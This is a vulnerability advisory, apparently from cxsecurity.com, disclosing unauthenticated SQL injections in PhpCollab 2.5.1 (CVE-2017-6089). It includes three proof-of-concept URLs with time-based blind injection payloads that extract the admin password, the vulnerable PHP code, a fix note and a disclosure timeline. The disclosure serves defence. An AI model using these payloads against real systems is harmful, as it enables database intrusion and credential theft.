PhpCollab 2.5.1 SQL Injection

2017.09.30
Credit: SYSDREAM
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# [CVE-2017-6089] PhpCollab 2.5.1 Multiple SQL Injections (unauthenticated) ## Description PhpCollab is an open source web-based project management system, that enables collaboration across the Internet. ## SQL injections The phpCollab code does not correctly filter arguments, allowing arbitrary SQL code execution by an unauthenticated user. **CVE ID**: CVE-2017-6089 **Access Vector**: remote **Security Risk**: Critical **Vulnerability**: CWE-89 **CVSS Base Score**: 10 (Critical) **CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H ## Proof of Concept 1 The following HTTP request allows an attacker to extract data using SQL injections in either the `project` or `id` parameter (it requires at least one topic): ``` http://phpCollab.lan/topics/deletetopics.php?project=1'+and+(SELECT+SLEEP(5)+FROM+members+where+login+like+0x61646d696e+and+substr(password,1,1)+like+CHAR(116))+and+'2'='2 http://phpCollab.lan/topics/deletetopics.php?project=1&id=1+and+(SELECT+SLEEP(5)+FROM+members+where+login+like+0x61646d696e+and+substr(password,1,1)+like+CHAR(116)) ``` ### Vulnerable code The vulnerable code is found in `topics/deletetopics.php`, line 9. ``` if ($action == "delete") { $id = str_replace("**",",",$id); $tmpquery1 = "DELETE FROM ".$tableCollab["topics"]." WHERE id = $id"; $tmpquery2 = "DELETE FROM ".$tableCollab["posts"]." WHERE topic = $id"; $pieces = explode(",",$id); $num = count($pieces); connectSql("$tmpquery1"); connectSql("$tmpquery2"); ``` ## Proof of Concept 2 The following HTTP request allows an attacker to extract data using SQL injections in the `id` parameter (it requires at least one saved bookmark): ``` http://phpCollab.lan/bookmarks/deletebookmarks.php?action=delete&id=select+sleep(5)+from+members+where+login+like+0x61646d696e+and+substr(password,1,1)+like+CHAR(116) ``` ### Vulnerable code The vulnerable code is found in `bookmarks/deletebookmarks.php`, line 32. ``` if ($action == "delete") { $id = str_replace("**",",",$id); $tmpquery1 = "DELETE FROM ".$tableCollab["bookmarks"]." WHERE id IN($id)"; connectSql("$tmpquery1"); ``` ## Proof of Concept 3 The following HTTP request allows an attacker to extract some information using SQL injection in the `id` parameter (it requires at least one calendar entry): ``` http://phpCollab.lan/calendar/deletecalendar.php?project=&action=delete&id=select+sleep(5)+from+members+where+login+like+0x61646d696e+and+substr(password,1,1)+like+CHAR(116) ``` ### Vulnerable code The vulnerable code is found in `calendar/deletecalendar.php`, line 31. ``` if ($action == "delete") { $id = str_replace("**",",",$id); $tmpquery1 = "DELETE FROM ".$tableCollab["calendar"]." WHERE id IN($id)"; connectSql("$tmpquery1"); ``` **Notes** The application probably needs a security posture against injections, so other parameters and pages may be vulnerables. This advisory does not intend to be an exhaustive list of vulnerable parameters. ## Solution Update to the latest version avalaible. ## Affected versions * Version <= 2.5.1 ## Timeline (dd/mm/yyyy) * 27/08/2016 : Initial discovery. * 05/10/2016 : Initial contact. * 11/10/2016 : GPG Key exchange. * 19/10/2016 : Advisory sent to vendor. * 13/02/2017 : First fixes. * 15/02/2017 : Fixes validation by Sysdream. * 21/02/2017 : PhpCollab ask to wait before publish. * 21/06/2017 : New version has been released. * 29/09/2017 : Public disclosure. ## Credits * Nicolas SERRA, Sysdream (n.serra -at- sysdream -dot- com) -- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top